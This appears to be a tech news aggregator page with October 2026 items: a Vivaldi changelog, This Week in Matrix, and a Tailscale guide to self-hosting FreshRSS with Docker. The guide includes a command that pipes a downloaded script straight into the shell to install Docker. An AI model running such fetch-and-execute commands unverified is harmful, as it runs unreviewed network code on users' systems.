We opened the day by asking everyone to find someone they didn't know and share stories, and to follow the Pac-Man principle: leave room in your circle so someone new can join in. Judging by the hallways and the hours after the closing keynote, you did just that.
Across ten sessions, the same questions kept coming up. Who reviews all this code? What does an agent cost, and is it worth it? How do we know what our agents are doing? None of the speakers claimed to have the answer, but all of them pointed to the same starting place: instrument, measure, and look at what's happening in production.
If any of this sparked something for you, or if you want the foundational theory behind it, pick up your free copy of Observability Engineering.
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Minor update(6) for Vivaldi Android Browser 8.2

Vivaldi · Oct 16, 2:13 PM UTC

This update includes a minor upgrade to Chromium 152 (Extended Stable Release) from upstream.
 By Maria Popova
October 16, 202690 views

          Head to the Google Play Store and download the browser.




Alternatively, you can download Vivaldi from Uptodown, the Android app store.




Your rating for our browser matters.         

Enjoy!

Changelog

The following is a list of changes since  the fifth 8.2 minor update:

	[Chromium] Update to 152.0.7977.169 ESR (includes security fixes from 155.0.8059.79/80)


Main photo by Dan Gold.

                  
Read it at the source



This Week in Matrix 2026-10-16

Matrix.org · Oct 16, 2:03 PM UTC

Matrix Live S13E13 - Amandine & Matthew brace for the conference
Dept of The Matrix Conference 
Andy announces

As you can see in Matrix Live this week, we are into the final few days before the Conference!

The event is a team effort, and we're very appreciative of the help of our volunteers (40 of you!). We have a couple of slots (and hoodies!) left if you're willing to help out - just take a look at the volunteer schedule. Maybe there is a free shift during a talk you want to see? How about you help film or record it! If you are willing and able to help out, book a slot!

We are also grateful to our sponsors - their contribution plays a critical role in the Foundation’s ability to run the Conference and progress towards sustainability in general. Thank you!

	Anchor sponsor: Element
	Champion sponsors: Connect2x, Famedly and Rocket.Chat
	Sustaining sponsors: DINUM, ERCOM and Nordeck
	Welcome party sponsors: Famedly and CGM
	Video sponsor: Element
	Community attendance sponsor: Famedly
	Track sponsors: CGM (Healthcare) and Element (Public sector)
	Hackathon sponsors: Futurewei and the University of Aalborg


We're looking forward to seeing many of you in Malmö and Copenhagen!
If you're not able to join us in person, we hope you'll be following along online.

See you soon!

Your Events WG


Dept of Social Good 
Amandine says

Europe is working towards more Digital Sovereignty, and as such taking open source and digital commons at the forefront of regulation and political discourse.

From Tchap in France to BundesMessenger and openDesk in Germany , via BEAM in Belgium , LuxChat in Luxembourg , and many more, Matrix underpins government communications across Europe: it makes it an obvious case study of how to scale digital commons. However, despite the popularity of Matrix, only one government agency, France's DINUM, commits to support the open standard they all rely on by being a member.

That gap is exactly one of those the new Digital Commons EDIC (DC-EDIC) could close and with this truly impact Europe’s implementation of digital commons. Drawing on 12 years of building Matrix, we've set out how the DC-EDIC can make the most of its five goals, taking a leaf out of the World Health Organization's book. Our suggestions include:

	Build a trusted index of open source projects and vendors
	Pool funding across Member States
	Fund the guardians of open standards, not just new code
	Give policymakers real evidence on costs, privacy and security
… and more!


Europe doesn't lack open source builders. What it needs is a body that does the unglamorous work that keeps everyone's lights on.

Read our recommendations in this blog post.


Dept of Spec 
Andrew Morgan (anoa) {he/him} announces

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals.

MSC Status

New MSCs:

	MSC4564: Agent status in room messages
	MSC4563: direct_message push rule
	MSC4560: Stripped state requests over federation


MSCs in Final Comment Period:

	MSC4551: Sliding Sync Extensions: Receipts (merge)
	MSC4548: Sliding Sync Extensions: Account data (merge)
	MSC4543: Sliding Sync Extensions: End-to-end encryption (merge)
	MSC4538: Sliding Sync Extensions: To-Device messages (merge)
	MSC4354: Sticky Events (merge)
	MSC4196: Voice and video calling application for MatrixRTC (merge)
	MSC4195: LiveKit transport for MatrixRTC (merge)
	MSC4143: MatrixRTC – Real-time communication over Matrix (merge)


Accepted MSCs:

	No MSCs were accepted this week.


Closed MSCs:

	MSC4076: Let E2EE clients calculate app badge counts themselves (disable_badge_count)
	Ended up becoming a Sygnal config option.



	[WIP] MSC3898: Native Matrix VoIP signalling for cascaded foci (SFUs, MCUs...)
	Superseded by the MatrixRTC sphere of MSCs (MSC4143)





Spec Updates

There's been a huge push in the last week to get Matrix 2.0 ready. A total of 187 comments across all Matrix 2.0 MSCs in the last week alone! A massive thanks to the authors and all of the reviewers for their work here.

The result is that 8 more Matrix 2.0 MSCs entered FCP this week! Sticky Events has received the most scrutiny, but both it and the implementation are now in a good place in the SCT's eyes.

	MSC4140: Cancellable delayed events — Merged.
	Clarifications for MSC4140: Cancellable delayed events — Merged.
	MSC4354: Sticky Events — Entered FCP on 15 October, up from 2 / 8 approvals. Earlier implementation/testing, expiry and visibility concerns are cleared. Federation catch-up flicker and stale notifications are an explicitly accepted remaining risk, not a solved problem or outstanding blocker. Latest visible follow-up is an RTC example correction.
	MSC4551: Sliding Sync Extensions: Receipts — Entered FCP on 13 October. Replaces the closed MSC3960.
	MSC4538: Sliding Sync Extensions: To-Device messages — Entered FCP on 13 October.
	MSC4543: Sliding Sync Extensions: End-to-end encryption — Entered FCP on 13 October. The token-acceptance feasibility question has been answered.
	MSC4548: Sliding Sync Extensions: Account data — Entered FCP on 13 October. Discussion about implementation coverage for enabling/re-enabling and whether Synapse actually differs from the proposal remains open.
	MSC4143: MatrixRTC – Real-time communication over Matrix — Entered FCP on 15 October. Implementation/migration discussion is now resolved. This week’s slot-ID versus event-ID concern was closed by reverting the proposed slot-event-ID addition. Sticky Events is no longer an outstanding dependency concern.
	MSC4195: LiveKit transport for MatrixRTC — Entered FCP on 15 October. Abuse-mitigation discussion is resolved. A new mandatory-multi-SFU objection was addressed by allowing publishing to a remote SFU.
	MSC4196: Voice and video calling application for MatrixRTC — Entered FCP on 15 October. The server-presets discussion is resolved in favour of client-managed slot creation.
	MSC4480: Sliding Sync Extension: Sticky Events — Now proposed for FCP, 1 / 8 approvals. Blockers remain around room-scope transitions, enable/disable behaviour, long-poll wakeups and lazy-loaded membership for rooms leaving scope. Global pos is now incorporated, but how clients detect backlog exhaustion remains under discussion. Implementation also needs checking by the SCT.
	MSC4075: MatrixRTC invites and notifications — Still in proposal review. Earlier invalid-event and slot-lifecycle questions have been addressed; cross-device ringing is now documented as a limitation, but not fixed. A new potentially blocking session-identity/simultaneous-invite question remains open. Sticky-object validation has an author response awaiting closure, and the PR still carries needs-implementation.


Given the 5-day FCP timer, we should see the majority of these actually become accepted by the conference A couple MSCs are still outstanding (SS extension: sticky events and MRTC invites/notifications) but the core of everything is there, and those MSCs won't be left out of the 2.0 release.

For now, we can celebrate how much work has been put in to bring these exciting additions to the spec 



Dept of Servers 
Zendrite (website)
pat-s says

Zendrite, the Dendrite fork written in Go, released v3.5.0.
This release focuses on Element Call and on catching up with the spec.

Element Call

	MSC4140 delayed events, which Element Call uses to remove crashed clients from calls, including delayed sticky events.
	MSC4354 sticky events in sync v2 and sliding sync, which Element Call's matrix_2_0 MatrixRTC mode needs.
	MSC4222 state_after in sync v2.
	Optional call guest accounts, so people without a Matrix account can join a call by link without open registration; they can only take part in calls and expire after a configurable lifetime.
	An end-to-end deployment guide covering LiveKit, lk-jwt-service, the standalone Element Call app and the Helm chart.


Spec support

	/versions now advertises Matrix v1.3 through v1.6, which also unblocks bridges such as mautrix-telegram that refused to start against v1.2.
	Jump to date (MSC3030) now asks other servers when local history may hide a closer event.
	Custom profile fields (MSC4133), refresh tokens (MSC2918), room type filters for the public room directory (MSC3827), leave reasons (MSC2367), key backup deletion (MSC1219), and the remaining Matrix v1.2 MSCs.
	Application services now receive redactions.


Fixes

	Sliding sync timelines now apply history visibility, so users can no longer read messages from before they were allowed to see them.
	Server ACL globs match against the whole server name.
	Redacting v11+ member events keeps third_party_invite.signed.
	The built-in NATS server is now 2.15.1, which fixes a broker replica that stopped catching up after rejoining on its old storage; HA deployments running their own brokers should upgrade them to 2.15.1 too, and the HA guide explains how to spot and recover a stuck replica.


Release notes: https://codefloe.com/pat-s/zendrite/releases/tag/v3.5.0

Chat: #dendrite:matrix.org


Tuwunel (website)
Enterprise successor to conduwuit, the high-performance and feature-rich fork of Conduit.
june ✿ (it/she/puppy) announces

Tuwunel 1.9.4 stores media in Google Cloud Storage through asafarian's native media provider. On GCE or GKE, Tuwunel can get credentials from the metadata server instead of an exported key (setup).

With oidc_native_auth enabled, the Native OIDC authorization, account and device-login pages offer a choice of local password or configured SSO providers. tototomate123 built the provider choice at utop-top's request. Account pages gained the choice after utop-top's report that Element X's Manage Account jumped straight to SSO.

arnolicious added controls to limit profile reads to people sharing a room and prevent regular users from setting display names or creating room aliases.

obodnikov added per-account password limits, got JWT B64HMAC working, and ensured JWT login rejects deactivated accounts. The last admin can no longer be deactivated, and removing emergency_password clears the server user's sessions at next startup.

basnijholt fixed thread counts, root bundles and latest replies after redactions. MindRoom Chat kept fetching 13 pages for a thread of roughly 1,000 events because the count still included a redacted reply.

Federated key answers now keep only the answering server's users, and Sliding Sync withholds invited and knocked rooms' timelines.

Startup now repairs the short-id residue behind the repair refusal dogarrowtype reported. mav96 supplied a second log. Uncertain data is preserved.

az4521 fixed URL previews of kkinstagram.com links, and reported the room version 12 create events that caused problems for force-set-room-state-from-server. Thanks to morteng's report, a mistyped !admin users reset-password no longer creates state.

SatvikMishra08 fixed the federate_created_rooms documentation issue edenworky reported. June refreshed dependencies and moved OpenTelemetry to 0.33.

Notes: https://github.com/matrix-construct/tuwunel/blob/f473d9a4a8342514302884041e0ccfea1ad503fc/RELEASE.md



GitHub ✦ Releases ✦ DockerHub ✦ Playbook ✦ Containers ✦ Documentation ✦ Enterprise  Tuwunel  




Synapse (website)
Synapse is a Matrix homeserver implementation developed by Element.
madlittlemods (Eric Eastwood) says

This week we have a new release, Synapse 1.163.0. To highlight:

	We can finally see light at the end of the tunnel with our Matrix v1.17 project. Synapse now advertises support for Matrix v1.14 and v1.15 (#20137, #20286), and Matrix v1.16 and v1.17 will come as part of the next release (already merged). Of course, the spec keeps evolving, so the march isn't over, but we've accomplished the concrete goal we set out for this quarter! 
	The experimental MSC4354 Sticky Events implementation got a number of updates to improve robustness. Synapse now catches up remote homeservers with any sticky events they may have missed (#20165), handles sticky events being redacted (#20232), makes sure new joiners know about all sticky events in the room (#20233), and uses sharded tokens to prevent race conditions when using workers (#20186).
	Fixed an edge case where the push badge count could undercount. Because it needs specific conditions and because most clients calculate the badge count themselves, this might not be a very commonly visible problem in the wild, but it fixed a Complement test flake that has been plaguing us (#20237).
	On the Rust side, we reduced contention on the Python GIL (global interpreter lock), and the need to block waiting for it, when handing off data from async Rust to Python (#20252, #20267).
	While it's "just" a dependency swap, URL previews now parse HTML with beautifulsoup4 instead of lxml, moving us off libxml2, which is no longer maintained. It's a nice bit of maintenance work that even lets us remove some of our own code, since beautifulsoup4 handles charset detection for us (a rare PR that removes more code than it adds ) (#19301, thanks to @clokep).


Thank you to all our contributors for helping to make Synapse the best it can be. As always, feel free to stop by #synapse:matrix.org to join in on the discussion, and if you encounter a bug, make sure to report it.


Dept of Clients 
Vommet (website)
Dark Collective announces

A Discord-like Matrix client that doesn't suck.

Vommet is an LLM-assisted fork of the excellent Commet Matrix client. I run a large Discord community I've been trying to move to Matrix for years, but no matter what client we tried, people kept bouncing off it. Everyone had a missing feature (Telegram sticker packs, screen sharing with audio on Linux, UI friction, etc.) that sent them back to Discord, even as recent policy changes have left many of our members wishing for a real alternative. So I've been working with community members one by one, finding every missing feature, bug or UI wart that makes Matrix hard to use, and fixing it.

Commet doesn't accept LLM contributions, which we respect, so nothing goes upstream. The name is a joke about AI slop and our rapid release cadence. But like the title says, it doesn't suck. Actually, we think it's really, really good.

Voice and calls

	Discord-like voice rooms with a "Voice Connected" card, mute and deafen next to your name, and volume sliders
	Push to talk, with a key that works while you're in a game (Windows and X11) and a hold-to-talk button on phones
	Watch streams like Discord, plus screen sharing with audio: on Linux, pick any app's audio or everything except voice chat apps
	Noise suppression in calls (RNNoise or DeepFilterNet3)
	Calls in any room or DM, not just voice rooms
	Voice chat with your Discord friends using Nether Voice Bridge


Chat

	Mass-import your favorite sticker packs from Telegram (and Signal), right in the app, into shareable sticker rooms
	Several pictures posted together show up as one Telegram-style mosaic, and you can flip through a room's pictures like a gallery
	Send messages while offline, like Telegram: they go out when you're back, even after a restart
	Better thread support, with several display modes for thread cards
	Voice messages, and (just landed, desktop only so far) on-device transcription like in Telegram
	Spoilers on pictures, bridged GIFs that actually play as GIFs, and plain example.com text turned into links like on Telegram
	Forwarding, drafts, multi-select, a formatting bar, and Discord-style <t:timestamp> times shown in everyone's own time zone


People and spaces

	Explore: browse any homeserver's public room directory, and peek inside a space before you join it
	See which spaces and rooms you share with someone on their profile
	Block people, with a clear "You blocked" notice in the DM
	Get banned from a room and it stays in your list, greyed, with the mod's reason, so you can keep reading until you choose to leave
	Banners for spaces and rooms, and better nested subspaces
	When joining a space, pick which of its rooms and subspaces you join


Look and feel

	Lots of UI improvements (see the screenshots on the website). When in doubt I rip off Discord, the good parts at least.
	Tons of extra themes and a Telegram-style theme editor, plus a font picker with dyslexia-friendly options


Encryption and onboarding

	A first-time setup that explains cross-signing and recovery keys in plain language, plus many new and fixed settings around cross-signing
	Share history when inviting someone to an encrypted room, and receive it when you're invited (MSC4268)
	Preview an invite before accepting, and decline and block in one go


Under the hood

	Lots of fixes for upstream bugs in Commet and the Famedly Matrix Dart SDK fork it uses
	Aggressive performance work and sliding sync. Cold start on my phone is three seconds vs thirty-plus on Commet.
	Notification and UnifiedPush fixes on Android


Widgets

	Widget support with an in-app picker, our own widgets like Park Chess, and Watch Together, which we're testing in our rooms, keeping a video in sync for everyone


And lots more!

The project is moving fast and we have a ton of features planned. It's still very early, so there are bugs to squash every day. We'd love for experienced Dart and Flutter developers to check out the codebase. Even if you're not a programmer, using the app, turning on the opt-in telemetry and reporting bugs in our developer channel helps immensely.

There are testing builds for Linux (Flatpak), Android and Windows. Nothing for Mac or iPhone yet; if you have Apple hardware, I'd love help testing iPhone builds.

Releases: https://nether.codes/nether/vommet/releases

Source (AGPL-3.0): https://nether.codes/nether/vommet

Chat: #vommet:nether.im



eM Client (website)
Emanuele Aliberti (MTKA) says

eM Client is an email client for Windows, macOS, Android and iOS.


Use your favorite open‑source, decentralized and secure chat service with eM Client 11. Just add your Matrix account and view all your chats in the Chats section – whether it’s a private or public room – with messages and files protected by end‑to‑end encryption (E2EE).



Official blog post: eM Client 11 has been released



Sable (website)
F0rest says

After two months, 3050 commits, and a lot of hard work, Sable has been fully rewritten and is releasing v2.0! Our new client is now based on Matrix Rust SDK and uses a Rust backend and Svelte frontend. Our rewrite allows us to shed lots of technical debt and (finally!) publish apps for mobile devices. Come check out our new Forgejo repository and try out the web version.

Updating/obtaining:

	For Windows, Mac, or manually downloaded linux builds, download here:
https://git.sable.moe/SableClient/sable-next/releases/tag/v2.0.0
	For Obtainium, Sidestore/Altstore, or other mobile updaters, please check the new readme for updated urls:
https://git.sable.moe/SableClient/sable-next/src/branch/main/README.md
	For Docker hosts, please point to the new container. Your users' sessions will migrate automatically.
https://git.sable.moe/SableClient/-/packages/container/sable-next/latest
	For AUR, Flathub, and web users, update as usual.
	For IzzyOnDroid users, coming soon...
	Finally, Play Store and App Store are coming soon...


(and if everything breaks, https://legacy.sable.moe now exists, but is no longer supported.)


Nexus (website)
Matrix client made with Flutter and a Gomuks backend.
QuadRadical (Ping) reports

Hello TWIM! Big news this week: Nexus v1.0.0-alpha1 is out! 

You can grab it from the release page. If you use the Flatpak repo, the nightly builds, or the NixOS module, you're already set up, just update. As this is an alpha, expect some bugs. If you run into anything, please let me know in #nexus:federated.nexus so we can squash them before 1.0.0.

Here's what changed since the last TWIM:

	Creating rooms and spaces: You can now create rooms and spaces right from the sidebar, with options for a canonical alias, publishing to the room directory, and encryption.
	Starting DMs: Start a DM from the sidebar, or from anyone's profile. You can include an invite reason using MSC4491.
	Invites: Send and receive invites, with the new invites tab of the sidebar, and invite button of room menus.
	Browsing spaces: A new "Browse space" button lets you see and join every room from a space's hierarchy.
	Adaptive dialogs: Dialogs show as bottom sheets on mobile, and user profiles show as popovers on desktop.
	A sync status indicator, so you can tell when Nexus is waiting on or failing to sync.
	You can now pick your UnifiedPush distributor, instead of using the default on your OS.
	New settings for room ordering, and for showing all rooms in Home.
	Support for pasting attachments from your keyboard.
	A new custom video player, fixing issues with the last one on Linux touchscreen devices.
	And, as always, a whole lot of bug fixes 



What's next?

Now that the alpha is out, the focus is on fixing whatever bugs you all find, and then releasing 1.0.0 stable.

Get involved!

If you want to help with development, report bugs, ask questions, or simply keep up with new features, join our Matrix room at #nexus:federated.nexus, or check out the Git repo at https://nexus.federated.nexus.


Dept of Non Chat Clients 
Drupal Meets Matrix
John reports

Two new episodes of Drupal Meets Matrix explore how Matrix rooms and Drupal comment threads can share a conversation:

	Episode 2: Live Comments with ECA and HTMX builds a no-custom-code polling setup that pulls new messages from Matrix into Drupal and refreshes comments without reloading the page.
	Episode 3: Better Conversations with Advanced Comment Threads introduces my new Advanced Comment Threads module, with live updates, inline replies, Drupal Canvas support, and a demo of Matrix and Drupal sharing a discussion.


This work supports the Drupal Groups initiative, letting people participate in the same conversation from a website or their favorite Matrix client.

I'm also presenting this work on Saturday, October 17. There won't be a livestream, but we expect a group chatting in Matrix alongside the presentation—a chance to try the shared Drupal/Matrix conversation in practice. Interested in joining the chat remotely? Message me, and I'll share details when they're ready.


Dept of VoIP 
Element Call
Timo K. announces

A very short announcement from the ElementCall Team:
v0.28.0 has been released.
The most visible change is a new audio device picker with volume preview.
There are lots of other things happening; spec work, new implementations. This TWIM post is just about the new release however.



Dept of Ops 🛠
Humatrix
Hannes says

One-Command Installer for Matrix in Debian with a more human control

What I wanted to solve

As I want to use Matrix with others, it's essential that the setup is as easy as possible for starters, all other everyday tasks should be possible without the terminal.


Since I, as an admin want full control but don't want to be asked for everything, it's possible to give users the right to invite other users – to the server or directly to a group of it.
So I can adjust if one user is allowed to invite others generally, allowed to invite X others or isnt allowed – by that I can see branches, who invited whom and so on; I can also "ban" a user which aborts all their pending invites to others.


My Installation mostly brings as new feature the "Human-Interface" (WebGui), so I thought Humatrix is a fitting name :D

Features

	One-Command installation including everything you need for a Matrix server (Synapse, Element Web, coturn (calls), nginx, Let's Encrypt, PostgreSQL, and a Backup-Plan)
	The installer checks the DNS and gets the SSL certificate;
if a proxy is running, it leaves TLS to the proxy
	in the WebGui you'll get informed if updates are available and to start the updates.
	Everything is available in German and English
	After the installation, a User-Guide is created including How-To Screenshots and the generated first time password
	The settings (Language, Proxy yes/no, Adminname, Domain and mail) are part of the Install-command and described in the Github Readme.


About the Code

My Job isn't writing Code, but setting up systems and checking Code – so I can read it and know what is essential for avoiding security-issues - but I can't write (that fast).
So yes, for the writing I used AI – but I read over all and check all functions.

Contact

Questions and bugs: GitHub Issues or Discussions.

Humatrix on GitHub


Matrix Federation Stats 
Aine [etke.cc] reports

collected by MatrixRooms.info - an MRS instance by etke.cc

As of today, 20518 Matrix federateable servers have been discovered by matrixrooms.info, 4088 (19.9%) of them are publishing their rooms directory over federation.
The published directories contain 19710 rooms.

The most popular server software among the online servers is:

	synapse: 15780 (76.9%)
	continuwuity: 1936 (9.4%)
	conduit: 526 (2.6%)
	dendrite: 282 (1.4%)


Stats timeline is available on MatrixRooms.info/stats

Integrations with apps and servers | Support the project | How to add your server | How to remove your server


Dept of Ping 
Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.
Join #ping:maunium.net to experience the fun live, and to find out how to add YOUR server to the game.
	Rank	Hostname	Median MS
	1	raccoon.cafe	180.5
	2	bartoostveen.nl	199
	3	codestorm.net	217
	4	vrkknn.net	230
	5	kanp.ai	266
	6	awesomesheep48.ca	314
	7	poweron.dk	321
	8	anglebrackets.club	342
	9	victorewik.es	356
	10	libds.com	366

That's all I know
See you soon (maybe not next week, but picking up right after the Conference), and be sure to stop by #twim:matrix.org with your updates!
To learn more about how to prepare an entry for TWIM check out the TWIM guide.

Read it at the source



Open source license compliance generally available

GitHub Changelog · Oct 16, 2:00 PM UTC

Enterprises can now manage their dependencies’ licenses at scale with sophisticated, ruleset-based checks that enforce a centralized policy. Open source license compliance is now generally available for GitHub Enterprise Cloud… The post Open source license compliance…

The full piece, at the source



It's time to make your own RSS reader

Tailscale · Oct 16, 2:00 PM UTC

It may not feel like it, but there is still a way to read things online that humans have written, chosen and sorted by you, not an algorithm. That way is RSS (Really Simple Syndication). You can self-host one for free, and you can use Tailscale to set up one reader you access everywhere.
Why would you tackle this almost retro-feeling project? Maybe you’d like a bit less doom in your scrolling. Perhaps you’re sick of attention-optimized designs, barely differentiated sponsored content, or seeing the same "news" suggested to you 12 different times. Or, this being 2026, you might want to feed an AI agent a focused feed so it can pick out highlights.
This post will walk through setting up FreshRSS, which works as both an RSS aggregator (the hub that fetches feeds) and a reader (shows you feeds’ content). It’s one of the easiest things to self-host, whether or not you have hardware for it at home. And we’re giving FreshRSS its own secure URL through Tailscale, so nothing is exposed on the open web, but you can reach it easily.
RSS is the non-algorithmic fix: you choose what sites to follow (and sometimes individual topics or authors), and then you get their posts. Use RSS a few times to get your awareness hits, and it’s hard to go back to anything else. It has an indie feel to it, because this kind of personalized, information-dense style of reading was never going to be the default. Which is fine and, frankly, it rocks.
Before any of this setup, you need a Tailscale account. The Personal plan is free, gives you unlimited devices and multiple users, so you’re well covered for this little news-reading project.
We’re doing this with Docker because Docker is what the FreshRSS makers want you to use. If you’ve never set up a Docker container before, it can sound like a lot. But we’re starting small, with a setup file that bakes Tailscale right into it. Using Docker, the install instructions for FreshRSS will be quite similar for everybody, whether deploying on a virtual private server (VPS), an old laptop, a Raspberry Pi, or a Mac mini.
Here’s the least painful way forward.
	Grab the desktop app on Windows or Mac. If your always-on machine runs Windows or macOS, grab the Docker desktop app for that system. Install the app, launch it, and keep following along.
	Open a terminal. On a Linux system that doesn’t have a desktop (like a VPS), you’re already at a terminal (a "shell," technically). If you’re on Windows, launch Terminal (or PowerShell, they both work), and on macOS, just Terminal. On Raspberry Pi OS, or another Linux system with a desktop, look for a terminal or "term" app and open it.
	See if you’ve already got a recent Docker install. Type this into your terminal and hit Enter: docker compose version. If it returns any version, then you’re good to keep moving. If not, enter this script, which will install and update Docker on nearly every major Linux system: curl -fsSL https://get.docker.com | sh. Log out of your Linux system, then log back in, and now you can use Docker without typing sudo before important commands.
	Fix your permissions: If you didn’t run Docker’s script, enter this command in your terminal to allow for performing key Docker functions: sudo usermod -aG docker $USER (noting the upper-case G). Then log out and log back in, or run newgrp docker to set yourself in the right group.
	Test everything’s working: Enter docker run hello-world in your terminal to pull a test image.

We’ve covered setting up Docker, and spinning up containers, in a YouTube guide to getting started with Docker and Tailscale. Alex’s video examples may be helpful, if anything in this blog guide isn’t quite clicking.
Create a Docker directory
Make a directory on your device (or VPS) where you’re going to keep Docker containers, such as FreshRSS setup. It’s a good idea to plan for future projects, and an even better idea to put it in your home directory. On Linux and macOS (and a VPS with SSH access), that looks like this:
The ~ there is a shortcut for your home directory, so that’s actually /home/username/docker, swapping username for what you use. On Windows, in PowerShell, it’s mkdir $HOME\docker.
ScaleTail is a repository full of containers all set up to launch and add themselves to your Tailscale network (tailnet). I’ve added FreshRSS to the ScaleTail repository. You’re going to download this directory, make a couple changes to a configuration file, and launch the container.
If you’re on macOS or Linux, you can, using the git command, clone the whole ScaleTail repository (it’s tiny), then head into the FreshRSS section to work with it:
Some macOS users will be prompted to install the "Xcode Command Line Tools." Do so; you’re obviously a developer now.
If you’re on Windows and the git command failed, I’d suggest not installing Git into the PowerShell window; it’s more trouble than it’s worth. Instead, download a ZIP file of the ScaleTail repository. Move the ZIP file into that docker folder you made in your home directory. Unzip the file there, and it should create a directory, ScaleTail-main. From there, you can head into ScaleTail-main/services/freshrss. (For the rest of this post, whenever the directory ScaleTail is used, use ScaleTail-main instead).
Now let’s set this package up to connect through Tailscale.
Grab and set your key and variables
If you haven’t already, create a Tailscale account, and install it on the device with the Docker setup. Once Tailscale is running on that device, you can access it from any other device on the tailnet. That makes it a lot easier to get back into this machine for troubleshooting, particularly if it’s a device without a screen and keyboard attached. You can later set up Tailscale SSH for even easier access.
On Tailscale’s web admin console, head to Settings > Keys. Click the Generate Auth Key button. Give the key a name, like freshrss. If you see a "Pre-approved" option, toggle it on.
Click Generate key, and copy the key—don’t close the window while you do this next part.
Inside your ~/docker/ScaleTail/services/freshrss directory, there is a file, .env, where we need to add our key value. If you have a preferred text editor, open up the .env file with that. Otherwise, on macOS and Linux, you can run this command:
That will open up the .env file in a very minimal, terminal-based editor, nano. Use the arrow keys to get to the line TS_AUTHKEY=, then put the cursor right after the = bit. To paste it, use Command+V on Mac, or Control+Shift+V on Linux. The line should read TS_AUTHKEY=ts-abcxyz ….
Don’t close the file after you’ve pasted your key; there are a few more edits to make. On the line TZ=, you enter your time zone after the equals sign, using the “tz” format, like America/New_York.
For TAILNET_NAME=, head to your web admin console’s DNS settings to see your Tailnet DNS name. If you haven’t already, you can click Rename tailnet to get something more memorable than the default jumble of letters and numbers. If this is your first container on Tailscale, it’s a good time to roll for a new semi-random name. Either way, paste in the part showing in your console, like velociraptor-noodlefish.ts.net.
Next to ADMIN_PASSWORD, and also ADMIN_API_PASSWORD, enter something sensible. These secure access to your FreshRSS dashboard, and then external access to its feeds and data, respectively. Set ADMIN_EMAIL to, most likely, your own email.
Finally, if you want this to show up on your tailnet as something other than a node named freshrss, change its name on the SERVICE= line near the top of the .env file.
Once you’ve pasted the key, time zone, tailnet name, passwords, and email (whew!), enter these commands: Control+O ("Write out," or save), Enter (to confirm the file name), then Ctrl+X (exit).
On Windows, your best bet is using Visual Studio Code (VSCode). Install it for your system, then use it to open the .env file in your docker\ScaleTail-main\services\freshrss directory. Make all the edits noted above: auth key, time zone, tailnet name (optional), passwords, and email. Do a little check in the bottom-right corner of VSCode to ensure it reads LF; if it reads CRLF, change it to LF (“Linux file endings”; it’s weird), and then save the file.
Time to launch our hub. In a terminal, make sure you’re in the directory where you put that .env and compose.yaml file (cd ~/docker/ScaleTail/services/freshrss if you used our layout earlier). Once there, enter: docker compose up -d. This tells Docker to use your compose file to bring a container "up," or set it running; the -d is "detached," meaning it keeps running when you eventually close this terminal.
You should see Docker pull images, create networks and volumes (virtual drives), and start each container. Did they work? You can check with docker compose ps, which shows the status of each container. The tailscale-freshrss should eventually be healthy and app-freshrss reports running. If not, try checking in with docker compose logs tailscale. If you see lines about a key or "auth" being expired or invalid, try creating a new Tailscale key, placing it in the .env file, and running docker compose up -d again.
Once FreshRSS is running and healthy, and Tailscale is installed and connected, open a browser and head to http://<device-name>.<tailnet-name>.ts.net. Substitute your device/key name (like freshrss) and your tailnet name, like noodlefish-velociraptor (found at the admin console’s DNS settings).
Be sure to check inside Settings > Configuration > Display for your choice of themes. Pictured: Nord.Load up FreshRSS in your browser, then log in with that username/password you set up in your .env file.
You’re in. You’ll need to gather up your feeds. Often, you can paste the base URL for a website into FreshRSS’ "Add a feed" box and it will automatically find the RSS.
If that’s not working, scroll to the bottom of sites you’re interested in, and at the bottom, you’ll often find links to RSS or Feeds. Sometimes they’re only on the blog or news sections of a site. The EFF’s guide to RSS has good tips on curating a list of feeds, including from social sites, YouTube, Reddit, Tumblr, and other spots.
Use other readers (and AI) with FreshRSS
Want to use FreshRSS with NetNewsWire or another reading app? Want to expose it to AI agents, so it can scan your feeds and alert you about the most relevant news? You’re a few clicks away.
In FreshRSS Settings, head to the Authentication section. Check the box for Allow API access and click Submit. Next, under Profile in Settings, scroll down a bit, and you should see that an API password was set (in your .env file). If not, set it here, then hit Submit.
Setting up this API allows you to hook up NetNewsWire, Reeder, FeedMe, and other apps to FreshRSS. In NetNewsWire, go to Settings > Add Account, head to the Self-Hosted section, and choose FreshRSS. Give it your API URL, which is either your tailnet address (https://freshrss.<your-tailnet>.ts.net/api/greader.php) or local URL (http://<IP-address>:8080/api/greader.php). Then add your username, and your API password (not your web login password), and you’re off and reading.
Want to hook up Claude, ChatGPT, Hermes, or other LLMs to your feeds? It’s the same API URL, where your agent can POST your username and API password to get an auth token, then get to work.
Now you’re reading with power
I have an LLM reading my FreshRSS feeds and making a digest of the most relevant items in Tailscale’s tech sectors, twice a day. It catches interesting stuff and contextualizes it. But it’s even more effective at nudging me to head into the full feed list, to both catch all the stuff I didn’t expect to see, and catch up on more news and updates further afield.
The death of Google Reader, a seminal moment for Internet writers, readers, and enthusiasts, was not the death of RSS. It might have marked a major shift in how distributed and open the web felt to most people; it should have served as a wake-up call. If you want something better than whatever is targeted to your web habits, you have to do a bit of curation. You have to find and sort your own flavors of thoughtful takes and surprising rabbit holes into your feeds. It’s seed work that pays off over time.
Go forth and gather up some feeds, and keep them on your own network.
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Junie Local Comes to the NVIDIA RTX Spark

JetBrains · Oct 16, 1:53 PM UTC

Junie Local is supported on the NVIDIA RTX Spark from day one, and Windows support moves from experimental to stable.
Junie Local runs alongside LLM training on the same RTX Spark laptopNVIDIA’s RTX Spark platform pairs a Blackwell RTX GPU with a Grace CPU to run larger local AI models in slim laptops and compact desktops. Junie Local leverages this hardware to bring local AI coding to your everyday workflows.
Install Junie and run /local, and you have a full coding agent on your RTX Spark. It reads your code, edits files, and runs your tests. No token charges, no quotas, and your code never leaves the machine.
We thank NVIDIA for giving us early access to the RTX Spark and for working with us to get Junie Local ready for launch.
What the RTX Spark changes for Junie Local
In our testing on the RTX Spark, Junie Local reached generation speeds of up to 55 tokens per second. This is our initial performance baseline for the platform, with further inference optimizations already in development.
Bringing Junie Local to the RTX Spark meant adapting both setup and inference to the hardware. Junie Local automatically sizes the context window to fit the memory available to the GPU in your configuration. With more memory available, it can retain more code, tool outputs, and conversation history in its running context.
For inference, Junie Local uses Blackwell’s Tensor Cores for efficient FP8 computation, helping it process that context faster. It also uses speculative decoding to accelerate generation by drafting several tokens ahead and verifying them together.
